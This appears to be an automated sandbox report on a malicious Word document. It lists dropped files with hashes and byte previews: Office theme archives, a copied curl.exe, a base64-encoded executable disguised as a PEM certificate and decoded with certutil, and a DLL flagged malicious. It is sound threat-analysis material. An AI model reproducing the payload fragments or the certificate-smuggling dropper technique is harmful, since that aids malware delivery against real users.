SHA-256:	3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE
SHA-512:	6BC420F3A69E03D01A955570DC0656C83C9E842C99CF7B429122E612E1E54875C61063843D8A24DB7EC2035626F02DDABF6D84FC3902184C1EFF3583DBB4D3D8
Malicious:	false
Preview:	MSCF....lh......D...............P...........lh...?..........\|..................M. .Berlin.thmx............M. .content.inf..lH.lj..[...............7.I..)........P..5x.B/^y5.xk^^......D.F........s....y...?D..........&....".o..pl..Q.jm?_...6......=%.p.{.)S..y...$......,4..>#.........)..."-....K....4.E...L=.......4..p.c..nQ.0..ZO.#.....e.N..`U......oS....V..X[t.E)\|.h..R....$..}.{.F.7....^.....w.,...5rBR.....{.......mi...h.b......w+..;.hV......q..(.7&.Z.l...C."j........[-E4h.....v&..~.p$\|\X...8.....Fj'%,.)6w...u\|C..,y..E..`Up../(....2.(....Z.....,.'...d..s..Z....5.g.?Nq..04...f...D.x....q+.b.."v`{.NL....C..... ..n......1N+.I.{W9....2r.0...BaC.....O..=...k..."..8.D\jK.B...Aj....6,B..2...I.. B..^.4..1.K+.....DP...Mr....9..x[...>........?.Zd..'._2.._..>..'.F..#.w...2..~.\|........q_Wy.W.....~..Qex.km/..f......t.q..p..gm.\|.x.... ,.#\Z....p....a.}...%..v.J.Es......I.b.P?...0......F.x....E..j..6.%..E..-O.k...b .^.h.Cv...Z....D.n.d:.d.F..x...[1...B..

C:\Users\user\AppData\Local\Temp\cab81B9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1065873
Entropy (8bit):	7.998277814657051
Encrypted:	true
SSDEEP:	24576:qehtHA3nsAOx7yN7THwxdGpkw8R60aTcua5U4c:hhmnsBMNAxdGpV5za5Uv
MD5:	E1101CCA6E3FEDB28B57AF4C41B50D37
SHA1:	990421B1D858B756E6695B004B26CDCCAE478C23
SHA-256:	69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E
SHA-512:	B1EDEA65B6D0705A298BFF85FC894A11C1F86B43FAC3C2149D0BD4A13EDCD744AF337957CBC21A33AB7A948C11EA9F389F3A896B6B1423A504E7028C71300C44
Malicious:	false
Preview:	MSCF....q.......D...........................q... ?..........{...%..............M. .content.inf.Q_.........M. .Savon.thmx...O>.o..[..............&.5....UUcC.C....A...`TU...F....".54.E.....g.-.7-D....1g...p.6......@..w(....h'?.....(..........p..J.2n$4.........A......?...........@.C.W.R.5X..:....I..?....r.y..~!.....!.A.a...!........O.........5.x<C...?.?....C.C.......'....F../....../.$................4.7...................P...(.w.}6.........7.....01.1r........._..?.............'.._..JOx.CFA<.........0..2.?...>F.../...;..6-8..4...8&yb....".1%..v'..N...x......}.gYb..~L.....f[..!......Y.G.....p..r...?.p...F.Vy.....o.Whll...+...M.V...:.]...B.%.H....n..@.].zaVxf...y{.@....V.t.W....$Kp-.....7W.J..h..0A3mK.=.ub..R...W......*'T2..G#G,.^..T..XZu...U. ...76.d..#.I.JB.v...d...%.....6..O.K.[.:.L.\.....1.D..2a.>f......X...b5...ZgN.u.f...a!..."...sx....>..?.a.3.8.^._q..JS1.E..9..Lg.n.+....lE.f:j.9)Q..H1=..<.R.......{c>:.p[..S.9h.a.gL.U....8.z..z.!.....2I.~.b..2..c...

C:\Users\user\AppData\Local\Temp\cab8209.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1097591
Entropy (8bit):	7.99825462915052
Encrypted:	true
SSDEEP:	24576:UE9BMy98gA4cDWHkSrDans3MfEE6w8OaVuCibol0j41dwD:UE9Bdy3D4keQWt7w85VuVoaj4/Q
MD5:	BF95E967E7D1CEC8EFE426BC0127D3DE
SHA1:	BA44C5500A36D748A9A60A23DB47116D37FD61BC
SHA-256:	4C3B008E0EB10A722D8FEDB325BFB97EDAA609B1E901295F224DD4CB4DF5FC26
SHA-512:	0697E394ABAC429B00C3A4F8DB9F509E5D45FF91F3C2AF2C2A330D465825F058778C06B129865B6107A0731762AD73777389BB0E319B53E6B28C363232FA2CE8
Malicious:	false
Preview:	MSCF............D...............-,..............x?..........}...-...RU.........M. .Circuit.thmx.....RU.....M. .content.inf.g...&\|..[......=..R.....=.,.!QA?h..Q.!....Uk!.HJ.......VKuk.....q.w.w.U.....;...K.@.URA..0..B..\|rv.ND(.`{..@.1.}...s?.....-...O.(V.w..1..a.....aW...a.Z..aX....5.I...!..........(. ./.d...me.( ..f.........w.......Xp.s....c..vB.98.....C.J......V ..ML.M...B.n.>...\|....u!.5@t..q4....(K...u qL.S....>/%v%.2..TF.].e..'..-..L.N..c].a..(WU\o.%^..;...\|o.6..L..[..;&....^p.Lu.sr,-.R=.:.8.>VOB...:.?$.h.o....Zh.h....`.B.c.../K......b^...;2..bY.[.V.Q8....@..V7....I0c.cQN7..I.p..}..!..M....1K....+....9.2......a..W.V..........;.J .i......]%O.-......CeQ.0.c....MbP3.0.w..8w..Y...\|...H;#.J.+M......>.`y..aWk\|.i.BF.pJv;.....S..6....F.....RLG~..........J.=......"..........H.....h..o...u........M.6F?.F.p.B.>./*l....J.R..#P.....K......<iu..gm^..n...#c..zO"7M.O......4'>A..(.E.Cy.N.)....6.tx.r[.....7.......m.t..E?.....5.5.6.\..{.V.T.D.j..=~a^.I

C:\Users\user\AppData\Local\Temp\cab8258.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	953453
Entropy (8bit):	7.99899040756787
Encrypted:	true
SSDEEP:	24576:9B1Onw3vg7aeYPagzbJ5Vhv6LnV2Dhl7GEYqVjcyd:vww3o7BYPJbJ5Vh6UCqZfd
MD5:	D4EAC009E9E7B64B8B001AE82B8102FA
SHA1:	D8D166494D5813DB20EA1231DA4B1F8A9B312119
SHA-256:	8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D
SHA-512:	561653F9920661027D006E7DEF7FB27DE23B934E4860E0DF78C97D183B7CEBD9DCE0D395E2018EEF1C02FC6818A179A661E18A2C26C4180AFEE5EF4F9C9C6035
Malicious:	false
Preview:	MSCF....]M......D...............=...........]M...?..........}..."..............Li. .content.inf............Li. .Gallery.thmx.].(.Vq..[.....0Y..........v.....w.wwwww.wwwwww.w.....".83....y8..mg...o..U..N(..@uD.:O<........{.G....~~.....c.c.5..6./\|G .@#1O.B.............PT@...b.d.~..U....B.{.........0.H.....`.H.`..'S.......Ic..W..x...z....... .........g......._....o......S......p...$....._........._...K......x..?.6.U~...'./.r.................../.......5.8..2........2b.@j ....0.........``....H... ,5...........X........\|..Y.QoiW..\|.......x.sO8...Yb....7...m..b.f.hv..b......=...:Ar.-...[..A\.D..g..u....].9..M...'.R-`.....<..+.....]...1.^..I.z..W{.._....L.. ...4;..6O.....9,.-.Vt+b/$7..}.O05.Y...-..S.....$.....1."Z.r;.!..E.mMN..s .U...P%.[.P...cU...j...h.d.../.s..N/..:..X...p5.7\}h.Q ..._.F.X.C..z$.nV..+.k..\|.@.L...&.........^#.G.a..x..w!wx.8e+..E. i..$?9..8...:......\|..[."..y..&y..?...W....s..._...3Z0c.....i.q.........1c.jI....W..^%xH.._...n.......&J..

C:\Users\user\AppData\Local\Temp\cab8307.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1310275
Entropy (8bit):	7.9985829899274385
Encrypted:	true
SSDEEP:	24576:NN3M9UHpHZE4aubaPubP3M6d71FdtmFAjq+54/79LVzG+VnS:NN3M9UJHZE4abPyU4JtmFCq+q/7JlVS
MD5:	9C9F49A47222C18025CC25575337A965
SHA1:	E42EDB33471D7C1752DCC42C06DD3F9FDA8B25F0
SHA-256:	ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A
SHA-512:	9FDCBAB988CBE97BFD931B727D31BA6B8ECF795D0679A714B9AFBC2C26E7DCF529E7A51289C7A1AE7EF04F4A923C2D7966D5AF7C0BC766DCD0FCA90251576794
Malicious:	false
Preview:	MSCF...........D...............9..............XJ..........}...6..............M.. .content.inf............M.. .Droplet.thmx..m7.>J..[...............2.QQPIj..."o^R.H5^...^(e.W...R..x..^`..m...."..+.....{o.......Q.-....$V.N>...T]..L.... ..N.h..dOY.......S......N.%.d..d....Y.....e..$...<.m...`............@....=.z..n..[...,G..1Fn.qPDH{C<...3.Q...2..r.....E.E.E.ErM"&a..'..W....:...?I..<.I..6o.`.d.?!..!..._.4\.._.E..).._O.S....; ..#..p.H.....c....o\.K..?$U.e.........!...J.v.....gNe._..[....#A.O.n_.....gm:P._.........{@..-g..j.69b.NH.I.$Hk?.6.n...@......'.C.._.U..:,j.-G.....e.#.Sr.t.L......d[.[...s.....rx.3.F[.5o..:....K.x..)M.fb...3IP.&h.Q.VX^%U.......x..l......@6.k.P..zSW.?....F..[L...4..b.l.w."&.....`.j...i.5}".~.-.....{\.:...o.'H\+)....3.Y......\...f:.;....e........4't7..f...w..j...3....N..9`.J...P..?.....=3_.y]...f.<.......JM5.}Q/ .F.a..Z.._yh......V..>m .......a....f....!.hz..\.....F_..'z...,....h.=.......=.o..T....3.e..........$..g.2.

C:\Users\user\AppData\Local\Temp\cab8451.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1766185
Entropy (8bit):	7.9991290831091115
Encrypted:	true
SSDEEP:	24576:O/gjMj+RP9Q07h9F75a0BXjBccHMVk2Hq2SkGa0QglyZtxmdPP2LcSUtfgfp16Yx:kJ6RP9Q07/X5V7yVF0QgktxAPutUt0zP
MD5:	828F96031F40BF8EBCB5E52AAEEB7E4C
SHA1:	CACC32738A0A66C8FE51A81ED8E27A6F82E69EB2
SHA-256:	640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7
SHA-512:	61F6355FF4D984931E79624394CCCA217054AE0F61B9AF1A1EDED5ACCA3D6FEF8940E338C313BE63FC766E6E7161CAFA0C8AE44AD4E0BE26C22FF17E2E6ABAF7
Malicious:	false
Preview:	MSCF............D...............)q..............0?..........{...H..............M.. .content.inf.;.#........M.. .Slate.thmx.p.+..P..[......U..............p..K.!..........K..w..v........=....D$r...B....6 ...X.F0..d..m.s...$$r........m.)6.m3....vXn.l..o...a...V......Ru.:=2M.........T.....4S`EP......\..r,..v...G.P......'._H0]..%_............X.P.,.............H.?.-.H..".......M..&..o....R........<......`...D.H.._.G.Qv..(..U,.9..D...."..T..i.e../.e.."....,S...o.X.....c./..V....Z..o.O..2....{...+... ....0.@J.R.Q.m.....{.....h?u.q.O{...l.d)..Yk`.....#...u.-.m..#CXwrz4..7.>......v.E:.#.oGSKS.TX.Chm.4aQ......avH..{..j+@6[k].....`c..W8..j.v.Zh.]....4......K..#Hzyd..K}.....H\|<H..\(l...+..%Z......~.S:^..d>..1..H%..7N-v.....Wu.*..b^.B.....k0gc.2.{.!...E7.}3.d...{.Ye...&#f6...:2......v..&!..k0d.p.b...,..$.....Y..60...h.N}.r...<[./........{...Es..&.nf.....2.@Fh3.9.G....l.[.C..SD/6.H.K....}..m....M..........gl.P.]..I......5....e.c...V....P...[.=.......O.eq+

C:\Users\user\AppData\Local\Temp\cab84A1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1881952
Entropy (8bit):	7.999066394602922
Encrypted:	true
SSDEEP:	49152:6Wp9u/ZAvKz7ZFCejPiSmYXKIr6kBwBUA:6W6Bn7ZFNiiKo2l
MD5:	53C5F45B22E133B28D4BD3B5A350FDBD
SHA1:	D180CFB1438D27F76E1919DA3E84F307CB83434F
SHA-256:	8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273
SHA-512:	46AD3DA58C63CA62FCFC4FAF9A7B5B320F4898A1E84EEF4DE16E0C0843BAFE078982FC9F78C5AC6511740B35382400B5F7AC3AE99BB52E32AD9639437DB481D1
Malicious:	false
Preview:	MSCF.....x......D...............l............x..`?..........\|...D..............M[. .content.inf...!........M[. .Damask.thmx...o.PI..[.............../.TU.jj0..3jCUPU.jF...m.UU.P}.....PU..........w..#....E..].................A.. w.$..@..'g.......6%:..r9..d.M;M+.r.8[d{.s..dh..(P..........!.. ..ne..f.Nc..#..Y..q....KB}..b].@..F.&.t....E.........@&.m......$w......q...:.H....p.p.....?.9x.. .....?...ao....I....................o......g.u..;."....O;....{..(k..._.w/.Z......Jb..P.O?...........?....F....ty..72......! #....v..J......?.....!,.5.7..Em.....is.h.. \.H)i1v..zwp.....P.....x].X{O//..\....Z>z....6...+..a.c...;.K..+...?014..p.w%o^.....]...MguF...`....r.S.......eF..):.dnk#.p{..<..{..Ym...>...H......x.}.hI..M....e......*G.&.?..~.~G6.....+...D..p...._...T....F6.[Cx./Q..Xe.>.;.}>.^..:..SB.X..2.......(A..&j9....\\.......Haf+]Y...$t^Y=........><.w....tL../E...%6.Vr~MI...l.....<.0.I....7.Q8y.f.uu...I.p..O..eYYS.O......9..Qo.......:..........o.............{

C:\Users\user\AppData\Local\Temp\cab858E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2591108
Entropy (8bit):	7.999030891647433
Encrypted:	true
SSDEEP:	49152:ZSBBeAefkpB5iXfQJgi7JBaCCRZ3cM2VDHkvSJO6qzI1tE9Rn:EBI6gbCkMPDHKSJO6qsP6n
MD5:	BEB12A0464D096CA33BAEA4352CE800F
SHA1:	F678D650B4A41676BA05C836D462F34BDC5BF648
SHA-256:	A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA
SHA-512:	B6E7CCD1ECBB9A49FC72E40771725825DAF41DDB2FF8EA4ECCE18B8FA1A59D3B2C474ADD055F30DA58C7E833A6E6555EBB77CCC324B61CA337187B4B41F7008B
Malicious:	false
Preview:	MSCF.....D'.....D............................D'..D..........z...^..............M7. .content.inf............M7. .Mesh.thmx....&~j..[.....0.................]............ww,v.\....D......3m..m!f..0..E{..?..`..A...k.:....I..........\|bmG.FS...f.;.J.vzb.......R.......-....\|.......ESD.....".4M..M..t.N....y..,..#.4.5.2.......'.8.Q..3.D..T....!.......&rJg...s........(..9........Dw..'....9.-..G.c............E.. .O.....a..O.._..s..)7Wz~....bJ..D...o....0..R/.#...?.......~6.Q?....?y...g.?............TP..r-...>....-..!.6...B.....\../...2....4...p$...Oge.G.?.....S.#x(..$.A~.U.%f....dJ..S.f{.g.._..3{.fm2.....Z.\o&.[k.m....ko.8..r.-.Go.OQ..'!6..f.L...Ud.$.q.L.....R.. J.T&4g...7.2K...#k.[.].:....lk.....;c..DRx.`..&L..cpv.>.Ngz~.{..v5.\...'C.<R:.C8.\|.fE{......K...).....T...gz}..rF..Q.dof7.....D.f=cm...U\|.O.]F...5zg(.. ....S..._?D....^..+.i...Z.....+X..U!4qy..._..`I..>./.W.7......=.O....BG..=..%9\|...3.?...}.$"..H..u...0.......a..:t?.....8...Z..#g.=<.e.`\......KQ..U....

C:\Users\user\AppData\Local\Temp\cab867A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2527736
Entropy (8bit):	7.992272975565323
Encrypted:	true
SSDEEP:	49152:NFXdpz4d98p/q5jA4q+9Uf5kx6wHR8WfPJZVhWzH4dRze76YP9nJ7yyAInT76nSY:NFXdKx5sM9SmxHKexZVhutJJVpCSqa0Z
MD5:	F256ACA509B4C6C0144D278C7036B0A8
SHA1:	93F6106D0759AFD0061F73B876AA9CAB05AA8EF6
SHA-256:	AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67
SHA-512:	08C57661F8CC9B547BBE42B4A5F8072B979E93346679ADE23CA685C0085F7BC14C26707B3D3C02F124359EBB640816E13763C7546FF095C96D2BB090320F3A95
Malicious:	false
Preview:	MSCF.....R&.....D............................R&.8?..............Z..............M). .content.inf..,........M). .Main_Event.thmx......R..[...............=.1.^xa..^...../..^x....QA^"....^/.I.{/F..F..........6Vn. ..._Hmc......<....#.{.@.....Xl../Y....Ye..'V.f.S.Vf.T..0t+..y...5O...{.....-.dT...........!...[ .ns..k.....QAA.. ....B..u.`.....{.\u8.0.....@t........K....@..w.......>...-1F...........1.E....O............_M.m..CP.O......X......g......].../..:C...Q...i.._"...M..1o...S../...9....k;...}S........y..;1o....1h......t.CL.3...].@...T...4.6.}.....M...f...[.s.."f....nZ.W......0.c.{.`.^..Oo.[.JT.2].^.f..a....kO......Q..G..s.5...V.Wj.....e...I,]...SHa..U.N.N.....v.C.....x..J{.Z.t...]WN...77BO-J......g......3:i..2..EFeL.,n..t:..,~4gt.w...M.5.'h.L..#..A&.O.ys%K.Z....F.PW..=jH...jGB.i..j.J.^.#.\n...J@.....-5.f.1jZ68.o...H2.......$O...>..ld&,#$.&_....yl.fkP$.........l....s....i.tx.~<.z...>..2.Gx..B..z.E.3.N<....`$.....b..?.w.[.X..1.=q!.s......v.......r.w

C:\Users\user\AppData\Local\Temp\cab8832.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	3256855
Entropy (8bit):	7.996842935632312
Encrypted:	true
SSDEEP:	98304:wh7I1aeH9YvgK+A+a7GiiQzP4YZDpQ2+Sd6Y:w21ay93aypQzzhpBL/
MD5:	8867BDF5FC754DA9DA6F5BA341334595
SHA1:	5067CCE84C6C682B75C1EF3DEA067A8D58D80FA9
SHA-256:	42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58
SHA-512:	93421D7FE305D27E7E2FD8521A8B328063CD22FE4DE67CCCF5D3B8F0258EF28027195C53062D179CD2EBA3A7E6F6A34A7A29297D4AF57650AA6DD19D1EF8413D
Malicious:	false
Preview:	MSCF....Gm1.....D...............cM..........Gm1..D..............o... ..........MP. .content.inf...7. ......MP. .Vapor_Trail.thmx..n...N..[......L........7...+I..x...P7/...BH..Rm.\yqi.x..B....{.m.............=.....p.%.@......BpV.[......C.4..X./..Y.'SB..........0.Gr.FG.).....R\...2..Jt..1..._.4_B..................cn7H.-.....Q...1..G{G.~.. '.$......@.(....=@=..`....@.@.A. ....'.4`. .@....D...'....S.s..9.7" /....?.aY.c.........LG....k...?_.....P.....?.1.....FB..m..t...['......:...?...W..../~..z.Tr...X.@...._....3..N..p.....b...t.....^..t...~..t.8A...t_....D..3R.Z.=..{.A.8).3-5..v.isz....0A~%.s.D.4....k.K......8......)R.}f.E..n.g&:W...'E....4%T..>......b.y..[..zI....e...j.s....F.....\|7826U.C.,..BY.U.F.f......"..#.m..,..._...#.\.....gPP.2.}Kas......g..3.d0.Z.Z.]..n......MY]6.....].m..D.6...?.n.20.,.#...S...JK..#.W.%.Z4.....i..CBf...../..z......n.N...U.....8t...ny...=.!..#..SF..e...1.P..@.Qx*.f.;..t..S.>..... F..)...@.Y..5j....x....vI.mM....Z.W..77...

C:\Users\user\AppData\Local\Temp\cab8833.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	3417042
Entropy (8bit):	7.997652455069165
Encrypted:	true
SSDEEP:	98304:1YYkj2mRz6vkkB15AW4QD0ms+FdniD60bDUpS:qYkj7d6vP7NZDLn+PM8
MD5:	749C3615E54C8E6875518CFD84E5A1B2
SHA1:	64D51EB1156E850ECA706B00961C8B101F5AC2FC
SHA-256:	F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C
SHA-512:	A5F591BA5C31513BD52BBFC5C6CAA79C036C7B50A55C4FDF96C84D311CCDCF1341F1665F1DA436D3744094280F98660481DCA4AA30BCEB3A7FCCB2A62412DC99
Malicious:	false
Preview:	MSCF......3.....L.............................3..?..............j.....3.....t.4.............Insight design set.dotx.................Content.inf...QJ.N..[.........R.....L....N).J\|E.B.$.B).3,...n.....JW....k.U1..M...3#.5....$^.....;vR...Z.nj...#......^......a.{..(..o.v...!L`...T.-&jZ`.\.0.....G.."b.m..F.X......$>%..?.D..H.l.j....$.......MrQ......q-....hx...6.D.3...j....n..U#R..3....sm?..xJr..............$G8..t.g...?.g.}......$P._...7.#..w..9DR....lu....?..'.Ai..v.vl..`......B..N_....W./.;...c=oYW.lL'bv.......+...9.P..B=...Y.SX=EL.5o....?H.e\|.Fn.M[...d.v.....i......9..U..H....uq.Nrn..@..e...3....8.....s8}z..$........B....26...d..?.l....=.aeM.[..\|n....H.;..7A.`....=.F...V.Y.l..8.........%e.x0S.....~..2..%.....U..#.r_.0V.v.6w.l.......Y.........v..o+....sn.$^'.Il...akUU....w....~.....&8.Vwj.....Q.uQ..&..G.($.2.s.?m.B.~j...+G.W..qi..g..5.)){O........o.ow.(;.{...y;n...J...&.F2.@.;......[{'w..........`....czW.........?W...}..w....x..........

C:\Users\user\AppData\Local\Temp\curl.exe

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	470528
Entropy (8bit):	6.743680599799538
Encrypted:	false
SSDEEP:	12288:sUE03qxFqJC1cwgysc/2gIsJFBhlyAjoSYgq:sUE06qCSwgbW2gpD3sAkSYgq
MD5:	44E5BAEEE864F1E9EDBE3986246AB37A
SHA1:	6EDAE73E36B61B261369717EA3657A6783EBA872
SHA-256:	4BCA545DD0DEAC696838C6338BA66A934426A34CE43D136D2750436F31E6BAFB
SHA-512:	DC39C1E4F59FCAC4A0A6D6B0AD890F351B5D6655B3173950B8EB4A03419311D0020D86F4868A001DF5CE270DE570B86C4F8AB86473F65E678C5A3493949305EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: m7q7gcniEz.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m.z...)...)...).cP)...).y.(...).y.(...).y.(...).t>)...).n.(...)...)=..).y.(I..).yR)...).y.(...)Rich...)........................PE..L.....~b.................4..........p........P....@..........................p............@.................................\...4.......@.......................@Q..X...T...............................@............P...............................text...i3.......4.................. ..`.rdata..J....P.......8..............@..@.data...............................@....rsrc...@...........................@..@.reloc..@Q.......R..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\curl.txt

Download File

Process:	C:\Windows\SysWOW64\certutil.exe
File Type:	PEM certificate
Category:	dropped
Size (bytes):	647034
Entropy (8bit):	5.673190892258134
Encrypted:	false
SSDEEP:	12288:UPrtm6+8lN/hrRPsd7AkAmmg69Z6kodEVX6:qtm6+qfRw7wykzK
MD5:	D3060DEF2E808C6686CFAF57817FC583
SHA1:	AF21A9750C95E5F475C59AF6688589700930CA40
SHA-256:	193EED27A4566FD35994D476692979536D2B3FA0CDCF21CD98BBB6AE1A1CEE76
SHA-512:	636B1F494C2821E264A548A0AD7AFE87E8BBEFC009D52CA57EB84B61AD4733F07E6BEDCEA634559854D5933D053525D689D3C4E3EA2164C5D456A4030E6B57CF
Malicious:	true
Preview:	-----BEGIN CERTIFICATE-----..TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v..dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACcbcN62AytKdgMrSnYDK0p..vmNQKdMMrSmKeago/gytKYp5qSjIDK0pinmuKMoMrSnRdD4plAytKaturCjRDK0p..2AysKT0MrSkZeaUoSQytKRl5UinZDK0pGXmvKNkMrSlSaWNo2AytKQAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAFBFAABMAQUAgrZ+YgAAAAAAAAAA4AACAQsBDh0ANAUA..AAACAAAAAABwEwUAABAAAABQBQAAAEAAABAAAAACAAAGAAAAAAAAAAYAAAAAAAAA..AHAHAAAEAACU2QcAAwBAwQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA..XNAGADQDAAAAAAcAQAcAAAAAAAAAAAAAAAAAAAAAAAAAEAcAQFEAAFjLBgBUAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsMsGAEAAAAAAAAAAAAAAAABQBQD8AwAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABpMwUAABAAAAA0BQAABAAA..AAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAASpkBAABQBQAAmgEAADgFAAAAAAAAAAAA..AAAAAEAAAEAuZGF0YQAAABgLAAAA8AYAAAIAAADSBgAAAAAAAAAAAAAAAABAAADA..LnJzcmMAAABABwAAAAAHAAAIAAAA1AYAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAA..QFEAAAAQBwAAUgAAANwGAAAAAAAAAAAAAAAAAEAAAEIAAAA

C:\Users\user\AppData\Local\Temp\mscorsvc.dll

Download File

Process:	C:\Windows\SysWOW64\certutil.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1412096
Entropy (8bit):	6.154637652358107
Encrypted:	false
SSDEEP:	24576:gplQSK1oQplSdNkU4lH3cDyx+7LKSyUR5E:gpeZdpqEx3cWonnx
MD5:	EB29329DE4937B34F218665DA57BCEF4
SHA1:	1BA68F4E998EE1E405DAC983084E7EF5B2D08664
SHA-256:	4AD9845E691DD415420E0C253BA452772495C0B971F48294B54631E79A22644A
SHA-512:	27A252DD4E698217524568365EB951E94036E21CD4F4FCE51E84D0CC041622D0B5160B0AF30B3D030D2F580529F1C65C49A673659D5298D4E6DC0FEE1E6FF60A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................................................X........3..................................4...<-.....<-.....<-1....<-.....Rich...........PE..d...b..f.........." ...'..... ...........................................................`......................................... w..........................8.......................p..............................@...............x............................text...u........................... ..`.rdata..B...........................@..@.data...pI.......$..................@....pdata..8...........................@..@_RDATA...............t..............@..@.rsrc................v..............@..@.reloc...............x..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mscorsvc.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\curl.exe
File Type:	PEM certificate
Category:	modified
Size (bytes):	1941690
Entropy (8bit):	5.32690662006021
Encrypted:	false
SSDEEP:	24576:5ExcWpE1q/MMQuFQCjzFhX9GwvOGigswKqmT:5EtBFBc
MD5:	D67EA3B362D4E9B633216E85AC643D1F
SHA1:	53D1C13DE6E049A5B41FD3B6E5876060F73D28EB
SHA-256:	5EAF0F1C1D23F4372E24EB15EE969552C416A38DBC45E4F2B4AF283E3BFB8721
SHA-512:	E252CC98BD44B392AF9E7B85A3FDB26385C9F678F4959DC59726F991083F44B489043E7F3DB55A1CFCE14F9CF78ABEBC77FFF26F101132ECF71348051EA255E7
Malicious:	true
